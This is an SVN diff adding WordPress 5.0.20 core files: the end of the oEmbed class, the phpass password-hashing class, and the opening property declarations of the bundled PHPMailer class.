+			/**
+			 * Filters the link types that contain oEmbed provider URLs.
+			 *
+			 * @since 2.9.0
+			 *
+			 * @param array $format Array of oEmbed link types. Accepts 'application/json+oembed',
+			 *                      'text/xml+oembed', and 'application/xml+oembed' (incorrect,
+			 *                      used by at least Vimeo).
+			 */
+			$linktypes = apply_filters( 'oembed_linktypes', array(
+				'application/json+oembed' => 'json',
+				'text/xml+oembed' => 'xml',
+				'application/xml+oembed' => 'xml',
+			) );
+
+			// Strip <body>
+			if ( $html_head_end = stripos( $html, '</head>' ) ) {
+				$html = substr( $html, 0, $html_head_end );
+			}
+
+			// Do a quick check
+			$tagfound = false;
+			foreach ( $linktypes as $linktype => $format ) {
+				if ( stripos($html, $linktype) ) {
+					$tagfound = true;
+					break;
+				}
+			}
+
+			if ( $tagfound && preg_match_all( '#<link([^<>]+)/?>#iU', $html, $links ) ) {
+				foreach ( $links[1] as $link ) {
+					$atts = shortcode_parse_atts( $link );
+
+					if ( !empty($atts['type']) && !empty($linktypes[$atts['type']]) && !empty($atts['href']) ) {
+						$providers[$linktypes[$atts['type']]] = htmlspecialchars_decode( $atts['href'] );
+
+						// Stop here if it's JSON (that's all we need)
+						if ( 'json' == $linktypes[$atts['type']] )
+							break;
+					}
+				}
+			}
+		}
+
+		// JSON is preferred to XML
+		if ( !empty($providers['json']) )
+			return $providers['json'];
+		elseif ( !empty($providers['xml']) )
+			return $providers['xml'];
+		else
+			return false;
+	}
+
+	/**
+	 * Connects to a oEmbed provider and returns the result.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string       $provider The URL to the oEmbed provider.
+	 * @param string       $url      The URL to the content that is desired to be embedded.
+	 * @param array|string $args     Optional. Arguments, usually passed from a shortcode. Default empty.
+	 * @return false|object False on failure, otherwise the result in the form of an object.
+	 */
+	public function fetch( $provider, $url, $args = '' ) {
+		$args = wp_parse_args( $args, wp_embed_defaults( $url ) );
+
+		$provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider );
+		$provider = add_query_arg( 'maxheight', (int) $args['height'], $provider );
+		$provider = add_query_arg( 'url', urlencode($url), $provider );
+		$provider = add_query_arg( 'dnt', 1, $provider );
+
+		/**
+		 * Filters the oEmbed URL to be fetched.
+		 *
+		 * @since 2.9.0
+		 * @since 4.9.0 The `dnt` (Do Not Track) query parameter was added to all oEmbed provider URLs.
+		 *
+		 * @param string $provider URL of the oEmbed provider.
+		 * @param string $url      URL of the content to be embedded.
+		 * @param array  $args     Optional arguments, usually passed from a shortcode.
+		 */
+		$provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args );
+
+		foreach ( array( 'json', 'xml' ) as $format ) {
+			$result = $this->_fetch_with_format( $provider, $format );
+			if ( is_wp_error( $result ) && 'not-implemented' == $result->get_error_code() )
+				continue;
+			return ( $result && ! is_wp_error( $result ) ) ? $result : false;
+		}
+		return false;
+	}
+
+	/**
+	 * Fetches result from an oEmbed provider for a specific format and complete provider URL
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.)
+	 * @param string $format Format to use
+	 * @return false|object|WP_Error False on failure, otherwise the result in the form of an object.
+	 */
+	private function _fetch_with_format( $provider_url_with_args, $format ) {
+		$provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args );
+
+		/** This filter is documented in wp-includes/class-oembed.php */
+		$args = apply_filters( 'oembed_remote_get_args', array(), $provider_url_with_args );
+
+		$response = wp_safe_remote_get( $provider_url_with_args, $args );
+		if ( 501 == wp_remote_retrieve_response_code( $response ) )
+			return new WP_Error( 'not-implemented' );
+		if ( ! $body = wp_remote_retrieve_body( $response ) )
+			return false;
+		$parse_method = "_parse_$format";
+		return $this->$parse_method( $body );
+	}
+
+	/**
+	 * Parses a json response body.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $response_body
+	 * @return object|false
+	 */
+	private function _parse_json( $response_body ) {
+		$data = json_decode( trim( $response_body ) );
+		return ( $data && is_object( $data ) ) ? $data : false;
+	}
+
+	/**
+	 * Parses an XML response body.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $response_body
+	 * @return object|false
+	 */
+	private function _parse_xml( $response_body ) {
+		if ( ! function_exists( 'libxml_disable_entity_loader' ) )
+			return false;
+
+		$loader = libxml_disable_entity_loader( true );
+		$errors = libxml_use_internal_errors( true );
+
+		$return = $this->_parse_xml_body( $response_body );
+
+		libxml_use_internal_errors( $errors );
+		libxml_disable_entity_loader( $loader );
+
+		return $return;
+	}
+
+	/**
+	 * Serves as a helper function for parsing an XML response body.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $response_body
+	 * @return stdClass|false
+	 */
+	private function _parse_xml_body( $response_body ) {
+		if ( ! function_exists( 'simplexml_import_dom' ) || ! class_exists( 'DOMDocument', false ) )
+			return false;
+
+		$dom = new DOMDocument;
+		$success = $dom->loadXML( $response_body );
+		if ( ! $success )
+			return false;
+
+		if ( isset( $dom->doctype ) )
+			return false;
+
+		foreach ( $dom->childNodes as $child ) {
+			if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType )
+				return false;
+		}
+
+		$xml = simplexml_import_dom( $dom );
+		if ( ! $xml )
+			return false;
+
+		$return = new stdClass;
+		foreach ( $xml as $key => $value ) {
+			$return->$key = (string) $value;
+		}
+
+		return $return;
+	}
+
+	/**
+	 * Converts a data object from WP_oEmbed::fetch() and returns the HTML.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param object $data A data object result from an oEmbed provider.
+	 * @param string $url The URL to the content that is desired to be embedded.
+	 * @return false|string False on error, otherwise the HTML needed to embed.
+	 */
+	public function data2html( $data, $url ) {
+		if ( ! is_object( $data ) || empty( $data->type ) )
+			return false;
+
+		$return = false;
+
+		switch ( $data->type ) {
+			case 'photo':
+				if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) )
+					break;
+				if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) )
+					break;
+
+				$title = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : '';
+				$return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr($title) . '" width="' . esc_attr($data->width) . '" height="' . esc_attr($data->height) . '" /></a>';
+				break;
+
+			case 'video':
+			case 'rich':
+				if ( ! empty( $data->html ) && is_string( $data->html ) )
+					$return = $data->html;
+				break;
+
+			case 'link':
+				if ( ! empty( $data->title ) && is_string( $data->title ) )
+					$return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>';
+				break;
+
+			default:
+				$return = false;
+		}
+
+		/**
+		 * Filters the returned oEmbed HTML.
+		 *
+		 * Use this filter to add support for custom data types, or to filter the result.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $return The returned oEmbed HTML.
+		 * @param object $data   A data object result from an oEmbed provider.
+		 * @param string $url    The URL of the content to be embedded.
+		 */
+		return apply_filters( 'oembed_dataparse', $return, $data, $url );
+	}
+
+	/**
+	 * Strips any new lines from the HTML.
+	 *
+	 * @since 2.9.0 as strip_scribd_newlines()
+	 * @since 3.0.0
+	 *
+	 * @param string $html Existing HTML.
+	 * @param object $data Data object from WP_oEmbed::data2html()
+	 * @param string $url The original URL passed to oEmbed.
+	 * @return string Possibly modified $html
+	 */
+	public function _strip_newlines( $html, $data, $url ) {
+		if ( false === strpos( $html, "\n" ) ) {
+			return $html;
+		}
+
+		$count = 1;
+		$found = array();
+		$token = '__PRE__';
+		$search = array( "\t", "\n", "\r", ' ' );
+		$replace = array( '__TAB__', '__NL__', '__CR__', '__SPACE__' );
+		$tokenized = str_replace( $search, $replace, $html );
+
+		preg_match_all( '#(<pre[^>]*>.+?</pre>)#i', $tokenized, $matches, PREG_SET_ORDER );
+		foreach ( $matches as $i => $match ) {
+			$tag_html = str_replace( $replace, $search, $match[0] );
+			$tag_token = $token . $i;
+
+			$found[ $tag_token ] = $tag_html;
+			$html = str_replace( $tag_html, $tag_token, $html, $count );
+		}
+
+		$replaced = str_replace( $replace, $search, $html );
+		$stripped = str_replace( array( "\r\n", "\n" ), '', $replaced );
+		$pre = array_values( $found );
+		$tokens = array_keys( $found );
+
+		return str_replace( $tokens, $pre, $stripped );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-phpass.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-phpass.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-phpass.php	(revision 56912)
@@ -0,0 +1,276 @@
+<?php
+/**
+ * Portable PHP password hashing framework.
+ * @package phpass
+ * @since 2.5.0
+ * @version 0.3 / WordPress
+ * @link http://www.openwall.com/phpass/
+ */
+
+#
+# Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in
+# the public domain.  Revised in subsequent years, still public domain.
+#
+# There's absolutely no warranty.
+#
+# Please be sure to update the Version line if you edit this file in any way.
+# It is suggested that you leave the main version number intact, but indicate
+# your project name (after the slash) and add your own revision information.
+#
+# Please do not change the "private" password hashing method implemented in
+# here, thereby making your hashes incompatible.  However, if you must, please
+# change the hash type identifier (the "$P$") to something different.
+#
+# Obviously, since this code is in the public domain, the above are not
+# requirements (there can be none), but merely suggestions.
+#
+
+/**
+ * Portable PHP password hashing framework.
+ *
+ * @package phpass
+ * @version 0.3 / WordPress
+ * @link http://www.openwall.com/phpass/
+ * @since 2.5.0
+ */
+class PasswordHash {
+	var $itoa64;
+	var $iteration_count_log2;
+	var $portable_hashes;
+	var $random_state;
+
+	/**
+	 * PHP5 constructor.
+	 */
+	function __construct( $iteration_count_log2, $portable_hashes )
+	{
+		$this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
+
+		if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31)
+			$iteration_count_log2 = 8;
+		$this->iteration_count_log2 = $iteration_count_log2;
+
+		$this->portable_hashes = $portable_hashes;
+
+		$this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons
+	}
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function PasswordHash( $iteration_count_log2, $portable_hashes ) {
+		self::__construct( $iteration_count_log2, $portable_hashes );
+	}
+
+	function get_random_bytes($count)
+	{
+		$output = '';
+		if ( @is_readable('/dev/urandom') &&
+		    ($fh = @fopen('/dev/urandom', 'rb'))) {
+			$output = fread($fh, $count);
+			fclose($fh);
+		}
+
+		if (strlen($output) < $count) {
+			$output = '';
+			for ($i = 0; $i < $count; $i += 16) {
+				$this->random_state =
+				    md5(microtime() . $this->random_state);
+				$output .=
+				    pack('H*', md5($this->random_state));
+			}
+			$output = substr($output, 0, $count);
+		}
+
+		return $output;
+	}
+
+	function encode64($input, $count)
+	{
+		$output = '';
+		$i = 0;
+		do {
+			$value = ord($input[$i++]);
+			$output .= $this->itoa64[$value & 0x3f];
+			if ($i < $count)
+				$value |= ord($input[$i]) << 8;
+			$output .= $this->itoa64[($value >> 6) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			if ($i < $count)
+				$value |= ord($input[$i]) << 16;
+			$output .= $this->itoa64[($value >> 12) & 0x3f];
+			if ($i++ >= $count)
+				break;
+			$output .= $this->itoa64[($value >> 18) & 0x3f];
+		} while ($i < $count);
+
+		return $output;
+	}
+
+	function gensalt_private($input)
+	{
+		$output = '$P$';
+		$output .= $this->itoa64[min($this->iteration_count_log2 +
+			((PHP_VERSION >= '5') ? 5 : 3), 30)];
+		$output .= $this->encode64($input, 6);
+
+		return $output;
+	}
+
+	function crypt_private($password, $setting)
+	{
+		$output = '*0';
+		if (substr($setting, 0, 2) == $output)
+			$output = '*1';
+
+		$id = substr($setting, 0, 3);
+		# We use "$P$", phpBB3 uses "$H$" for the same thing
+		if ($id != '$P$' && $id != '$H$')
+			return $output;
+
+		$count_log2 = strpos($this->itoa64, $setting[3]);
+		if ($count_log2 < 7 || $count_log2 > 30)
+			return $output;
+
+		$count = 1 << $count_log2;
+
+		$salt = substr($setting, 4, 8);
+		if (strlen($salt) != 8)
+			return $output;
+
+		# We're kind of forced to use MD5 here since it's the only
+		# cryptographic primitive available in all versions of PHP
+		# currently in use.  To implement our own low-level crypto
+		# in PHP would result in much worse performance and
+		# consequently in lower iteration counts and hashes that are
+		# quicker to crack (by non-PHP code).
+		if (PHP_VERSION >= '5') {
+			$hash = md5($salt . $password, TRUE);
+			do {
+				$hash = md5($hash . $password, TRUE);
+			} while (--$count);
+		} else {
+			$hash = pack('H*', md5($salt . $password));
+			do {
+				$hash = pack('H*', md5($hash . $password));
+			} while (--$count);
+		}
+
+		$output = substr($setting, 0, 12);
+		$output .= $this->encode64($hash, 16);
+
+		return $output;
+	}
+
+	function gensalt_extended($input)
+	{
+		$count_log2 = min($this->iteration_count_log2 + 8, 24);
+		# This should be odd to not reveal weak DES keys, and the
+		# maximum valid value is (2**24 - 1) which is odd anyway.
+		$count = (1 << $count_log2) - 1;
+
+		$output = '_';
+		$output .= $this->itoa64[$count & 0x3f];
+		$output .= $this->itoa64[($count >> 6) & 0x3f];
+		$output .= $this->itoa64[($count >> 12) & 0x3f];
+		$output .= $this->itoa64[($count >> 18) & 0x3f];
+
+		$output .= $this->encode64($input, 3);
+
+		return $output;
+	}
+
+	function gensalt_blowfish($input)
+	{
+		# This one needs to use a different order of characters and a
+		# different encoding scheme from the one in encode64() above.
+		# We care because the last character in our encoded string will
+		# only represent 2 bits.  While two known implementations of
+		# bcrypt will happily accept and correct a salt string which
+		# has the 4 unused bits set to non-zero, we do not want to take
+		# chances and we also do not want to waste an additional byte
+		# of entropy.
+		$itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+
+		$output = '$2a$';
+		$output .= chr(ord('0') + $this->iteration_count_log2 / 10);
+		$output .= chr(ord('0') + $this->iteration_count_log2 % 10);
+		$output .= '$';
+
+		$i = 0;
+		do {
+			$c1 = ord($input[$i++]);
+			$output .= $itoa64[$c1 >> 2];
+			$c1 = ($c1 & 0x03) << 4;
+			if ($i >= 16) {
+				$output .= $itoa64[$c1];
+				break;
+			}
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 4;
+			$output .= $itoa64[$c1];
+			$c1 = ($c2 & 0x0f) << 2;
+
+			$c2 = ord($input[$i++]);
+			$c1 |= $c2 >> 6;
+			$output .= $itoa64[$c1];
+			$output .= $itoa64[$c2 & 0x3f];
+		} while (1);
+
+		return $output;
+	}
+
+	function HashPassword($password)
+	{
+		if ( strlen( $password ) > 4096 ) {
+			return '*';
+		}
+
+		$random = '';
+
+		if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) {
+			$random = $this->get_random_bytes(16);
+			$hash =
+			    crypt($password, $this->gensalt_blowfish($random));
+			if (strlen($hash) == 60)
+				return $hash;
+		}
+
+		if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) {
+			if (strlen($random) < 3)
+				$random = $this->get_random_bytes(3);
+			$hash =
+			    crypt($password, $this->gensalt_extended($random));
+			if (strlen($hash) == 20)
+				return $hash;
+		}
+
+		if (strlen($random) < 6)
+			$random = $this->get_random_bytes(6);
+		$hash =
+		    $this->crypt_private($password,
+		    $this->gensalt_private($random));
+		if (strlen($hash) == 34)
+			return $hash;
+
+		# Returning '*' on error is safe here, but would _not_ be safe
+		# in a crypt(3)-like function used _both_ for generating new
+		# hashes and for validating passwords against existing hashes.
+		return '*';
+	}
+
+	function CheckPassword($password, $stored_hash)
+	{
+		if ( strlen( $password ) > 4096 ) {
+			return false;
+		}
+
+		$hash = $this->crypt_private($password, $stored_hash);
+		if ($hash[0] == '*')
+			$hash = crypt($password, $stored_hash);
+
+		return $hash === $stored_hash;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-phpmailer.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-phpmailer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-phpmailer.php	(revision 56912)
@@ -0,0 +1,4078 @@
+<?php
+/**
+ * PHPMailer - PHP email creation and transport class.
+ * PHP Version 5
+ * @package PHPMailer
+ * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
+ * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @author Brent R. Matzelle (original founder)
+ * @copyright 2012 - 2014 Marcus Bointon
+ * @copyright 2010 - 2012 Jim Jagielski
+ * @copyright 2004 - 2009 Andy Prevost
+ * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
+ * @note This program is distributed in the hope that it will be useful - WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+/**
+ * PHPMailer - PHP email creation and transport class.
+ * @package PHPMailer
+ * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
+ * @author Brent R. Matzelle (original founder)
+ */
+class PHPMailer
+{
+    /**
+     * The PHPMailer Version number.
+     * @var string
+     */
+    public $Version = '5.2.22';
+
+    /**
+     * Email priority.
+     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
+     * When null, the header is not set at all.
+     * @var integer
+     */
+    public $Priority = null;
+
+    /**
+     * The character set of the message.
+     * @var string
+     */
+    public $CharSet = 'iso-8859-1';
+
+    /**
+     * The MIME Content-type of the message.
+     * @var string
+     */
+    public $ContentType = 'text/plain';
+
+    /**
+     * The message encoding.
+     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
+     * @var string
+     */
+    public $Encoding = '8bit';
+
+    /**
+     * Holds the most recent mailer error message.
+     * @var string
+     */
+    public $ErrorInfo = '';
+
+    /**
+     * The From email address for the message.
+     * @var string
+     */
+    public $From = 'root@localhost';
+
+    /**
+     * The From name of the message.
+     * @var string
+     */
+    public $FromName = 'Root User';
+
+    /**
+     * The Sender email (Return-Path) of the message.
+     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
+     * @var string
+     */
+    public $Sender = '';
+
+    /**
+     * The Return-Path of the message.
+     * If empty, it will be set to either From or Sender.
+     * @var string
+     * @deprecated Email senders should never set a return-path header;
+     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
+     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
+     */
+    public $ReturnPath = '';
+
+    /**
+     * The Subject of the message.
+     * @var string
+     */
+    public $Subject = '';
+
+    /**
+     * An HTML or plain text message body.
+     * If HTML then call isHTML(true).
+     * @var string
+     */
+    public $Body = '';
+
+    /**
+     * The plain-text message body.
+     * This body can be read by mail clients that do not have HTML email
+     * capability such as mutt & Eudora.
+     * Clients that can read HTML will view the normal Body.
+     * @var string
+     */
+    public $AltBody = '';
+
+    /**
+     * An iCal message part body.
+     * Only supported in simple alt or alt_inline message types
+     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
+     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
+     * @link http://kigkonsult.se/iCalcreator/
+     * @var string
+     */
+    public $Ical = '';
+
+    /**
+     * The complete compiled MIME message body.
+     * @access protected
+     * @var string
+     */
+    protected $MIMEBody = '';
+
+    /**
+     * The complete compiled MIME message headers.
+     * @var string
+     * @access protected
+     */
+    protected $MIMEHeader = '';
+
+    /**
+     * Extra headers that createHeader() doesn't fold in.
+     * @var string
+     * @access protected
+     */
+    protected $mailHeader = '';
+
+    /**
+     * Word-wrap the message body to this number of chars.
+     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
+     * @var integer
+     */
+    public $WordWrap = 0;
+
+    /**
+     * Which method to use to send mail.
+     * Options: "mail", "sendmail", or "smtp".
+     * @var string
+     */
+    public $Mailer = 'mail';
+
+    /**
+     * The path to the sendmail program.
+     * @var string
+     */
+    public $Sendmail = '/usr/sbin/sendmail';
+
+    /**
+     * Whether mail() uses a fully sendmail-compatible MTA.
+     * One which supports sendmail's "-oi -f" options.
+     * @var boolean
+     */
+    public $UseSendmailOptions = true;
+
+    /**
+     * Path to PHPMailer plugins.
+     * Useful if the SMTP class is not in the PHP include path.
+     * @var string
+     * @deprecated Should not be needed now there is an autoloader.
+     */
+    public $PluginDir = '';
+
+    /**
+     * The email address that a reading confirmation should be sent to, also known as read receipt.
+     * @var string
+     */
+    public $ConfirmReadingTo = '';
+
+    /**
+     * The hostname to use in the Message-ID header and as default HELO string.
+     * If empty, PHPMailer attempts to find one with, in order,
+     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
+     * 'localhost.localdomain'.
+     * @var string
+     */
+    public $Hostname = '';
+
+    /**
+     * An ID to be used in the Message-ID header.
+     * If empty, a unique id will be generated.
+     * You can set your own, but it must be in the format "<id@domain>",
+     * as defined in RFC5322 section 3.6.4 or it will be ignored.
+     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
+     * @var string
+     */
+    public $MessageID = '';
+
+    /**
+     * The message Date to be used in the Date header.
+     * If empty, the current date will be added.
+     * @var string
+     */
+    public $MessageDate = '';
+
+    /**
+     * SMTP hosts.
+     * Either a single hostname or multiple semicolon-delimited hostnames.
+     * You can also specify a different port
+     * for each host by using this format: [hostname:port]
+     * (e.g. "smtp1.example.com:25;smtp2.example.com").
+     * You can also specify encryption type, for example:
+     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
+     * Hosts will be tried in order.
+     * @var string
+     */
+    public $Host = 'localhost';
+
+    /**
+     * The default SMTP server port.
+     * @var integer
+     * @TODO Why is this needed when the SMTP class takes care of it?
+     */
+    public $Port = 25;
+
+    /**
+     * The SMTP HELO of the message.
+     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
+     * one with the same method described above for $Hostname.
+     * @var string
+     * @see PHPMailer::$Hostname
+     */
+    public $Helo = '';
+
+    /**
+     * What kind of encryption to use on the SMTP connection.
+     * Options: '', 'ssl' or 'tls'
+     * @var string
+     */
+    public $SMTPSecure = '';
+
+    /**
+     * Whether to enable TLS encryption automatically if a server supports it,
+     * even if `SMTPSecure` is not set to 'tls'.
+     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
+     * @var boolean
+     */
+    public $SMTPAutoTLS = true;
+
+    /**
+     * Whether to use SMTP authentication.
+     * Uses the Username and Password properties.
+     * @var boolean
+     * @see PHPMailer::$Username
+     * @see PHPMailer::$Password
+     */
+    public $SMTPAuth = false;
+
+    /**
+     * Options array passed to stream_context_create when connecting via SMTP.
+     * @var array
+     */
+    public $SMTPOptions = array();
+
+    /**
+     * SMTP username.
+     * @var string
+     */
+    public $Username = '';
+
+    /**
+     * SMTP password.
+     * @var string
+     */
+    public $Password = '';
+
+    /**
+     * SMTP auth type.
+     * Options are CRAM-MD5, LOGIN, PLAIN, attempted in that order if not specified
+     * @var string
+     */
+    public $AuthType = '';
+
+    /**
+     * SMTP realm.
+     * Used for NTLM auth
+     * @var string
+     */
+    public $Realm = '';
+
+    /**
+     * SMTP workstation.
+     * Used for NTLM auth
+     * @var string
+     */
+    public $Workstation = '';
+
+    /**
+     * The SMTP server timeout in seconds.
+     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
+     * @var integer
+     */
+    public $Timeout = 300;
+
+    /**
+     * SMTP class debug output mode.
+     * Debug output level.
+     * Options:
+     * * `0` No output
+     * * `1` Commands
+     * * `2` Data and commands
+     * * `3` As 2 plus connection status
+     * * `4` Low-level data output
+     * @var integer
+     * @see SMTP::$do_debug
+     */
+    public $SMTPDebug = 0;
+
+    /**
+     * How to handle debug output.
+     * Options:
+     * * `echo` Output plain-text as-is, appropriate for CLI
+     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
+     * * `error_log` Output to error log as configured in php.ini
+     *
+     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
+     * <code>
+     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
+     * </code>
+     * @var string|callable
+     * @see SMTP::$Debugoutput
+     */
+    public $Debugoutput = 'echo';
+
+    /**
+     * Whether to keep SMTP connection open after each message.
+     * If this is set to true then to close the connection
+     * requires an explicit call to smtpClose().
+     * @var boolean
+     */
+    public $SMTPKeepAlive = false;
+
+    /**
+     * Whether to split multiple to addresses into multiple messages
+     * or send them all in one message.
+     * Only supported in `mail` and `sendmail` transports, not in SMTP.
+     * @var boolean
+     */
+    public $SingleTo = false;
+
+    /**
+     * Storage for addresses when SingleTo is enabled.
+     * @var array
+     * @TODO This should really not be public
+     */
+    public $SingleToArray = array();
+
+    /**
+     * Whether to generate VERP addresses on send.
+     * Only applicable when sending via SMTP.
+     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
+     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
+     * @var boolean
+     */
+    public $do_verp = false;
+
+    /**
+     * Whether to allow sending messages with an empty body.
+     * @var boolean
+     */
+    public $AllowEmpty = false;
+
+    /**
+     * The default line ending.
+     * @note The default remains "\n". We force CRLF where we know
+     *        it must be used via self::CRLF.
+     * @var string
+     */
+    public $LE = "\n";
+
+    /**
+     * DKIM selector.
+     * @var string
+     */
+    public $DKIM_selector = '';
+
+    /**
+     * DKIM Identity.
+     * Usually the email address used as the source of the email.
+     * @var string
+     */
+    public $DKIM_identity = '';
+
+    /**
+     * DKIM passphrase.
+     * Used if your key is encrypted.
+     * @var string
+     */
+    public $DKIM_passphrase = '';
+
+    /**
+     * DKIM signing domain name.
+     * @example 'example.com'
+     * @var string
+     */
+    public $DKIM_domain = '';
+
+    /**
+     * DKIM private key file path.
+     * @var string
+     */
+    public $DKIM_private = '';
+
+    /**
+     * DKIM private key string.
+     * If set, takes precedence over `$DKIM_private`.
+     * @var string
+     */
+    public $DKIM_private_string = '';
+
+    /**
+     * Callback Action function name.
+     *
+     * The function that handles the result of the send email action.
+     * It is called out by send() for each email sent.
+     *
+     * Value can be any php callable: http://www.php.net/is_callable
+     *
+     * Parameters:
+     *   boolean $result        result of the send action
+     *   string  $to            email address of the recipient
+     *   string  $cc            cc email addresses
+     *   string  $bcc           bcc email addresses
+     *   string  $subject       the subject
+     *   string  $body          the email body
+     *   string  $from          email address of sender
+     * @var string
+     */
+    public $action_function = '';
+
+    /**
+     * What to put in the X-Mailer header.
+     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
+     * @var string
+     */
+    public $XMailer = '';
+
+    /**
+     * Which validator to use by default when validating email addresses.
+     * May be a callable to inject your own validator, but there are several built-in validators.
+     * @see PHPMailer::validateAddress()
+     * @var string|callable
+     * @static
+     */
+    public static $validator = 'auto';
+
+    /**
+     * An instance of the SMTP sender class.
+     * @var SMTP
+     * @access protected
+     */
+    protected $smtp = null;
+
+    /**
+     * The array of 'to' names and addresses.
+     * @var array
+     * @access protected
+     */
+    protected $to = array();
+
+    /**
+     * The array of 'cc' names and addresses.
+     * @var array
+     * @access protected
+     */
+    protected $cc = array();
+
+    /**
+     * The array of 'bcc' names and addresses.
+     * @var array
+     * @access protected
+     */
+    protected $bcc = array();
+
+    /**
+     * The array of reply-to names and addresses.
+     * @var array
+     * @access protected
+     */
+    protected $ReplyTo = array();
+
+    /**
+     * An array of all kinds of addresses.
+     * Includes all of $to, $cc, $bcc
+     * @var array
+     * @access protected
+     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
+     */
+    protected $all_recipients = array();
+
+    /**
+     * An array of names and addresses queued for validation.
+     * In send(), valid and non duplicate entries are moved to $all_recipients
+     * and one of $to, $cc, or $bcc.
+     * This array is used only for addresses with IDN.
+     * @var array
+     * @access protected
+     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
+     * @see PHPMailer::$all_recipients
+     */
+    protected $RecipientsQueue = array();
+
+    /**
+     * An array of reply-to names and addresses queued for validation.
+     * In send(), valid and non duplicate entries are moved to $ReplyTo.
+     * This array is used only for addresses with IDN.
+     * @var array
+     * @access protected
+     * @see PHPMailer::$ReplyTo
+     */
+    protected $ReplyToQueue = array();
+
+    /**
+     * The array of attachments.
+     * @var array
+     * @access protected
+     */
+    protected $attachment = array();
+
+    /**
+     * The array of custom headers.
+     * @var array
+     * @access protected
+     */
+    protected $CustomHeader = array();
+
+    /**
+     * The most recent Message-ID (including angular brackets).
+     * @var string
+     * @access protected
+     */
+    protected $lastMessageID = '';
+
+    /**
+     * The message's MIME type.
+     * @var string
+     * @access protected
+     */
+    protected $message_type = '';
+
+    /**
+     * The array of MIME boundary strings.
+     * @var array
+     * @access protected
+     */
+    protected $boundary = array();
+
+    /**
+     * The array of available languages.
+     * @var array
+     * @access protected
+     */
+    protected $language = array();
+
+    /**
+     * The number of errors encountered.
+     * @var integer
+     * @access protected
+     */
+    protected $error_count = 0;
+
+    /**
+     * The S/MIME certificate file path.
+     * @var string
+     * @access protected
+     */
+    protected $sign_cert_file = '';
+
+    /**
+     * The S/MIME key file path.
+     * @var string
+     * @access protected
+     */
+    protected $sign_key_file = '';
+
+    /**
+     * The optional S/MIME extra certificates ("CA Chain") file path.
+     * @var string
+     * @access protected
+     */
+    protected $sign_extracerts_file = '';
+
+    /**
+     * The S/MIME password for the key.
+     * Used only if the key is encrypted.
+     * @var string
+     * @access protected
+     */
+    protected $sign_key_pass = '';
+
+    /**
+     * Whether to throw exceptions for errors.
+     * @var boolean
+     * @access protected
+     */
+    protected $exceptions = false;
+
+    /**
+     * Unique ID used for message ID and boundaries.
+     * @var string
+     * @access protected
+     */
+    protected $uniqueid = '';
+
+    /**
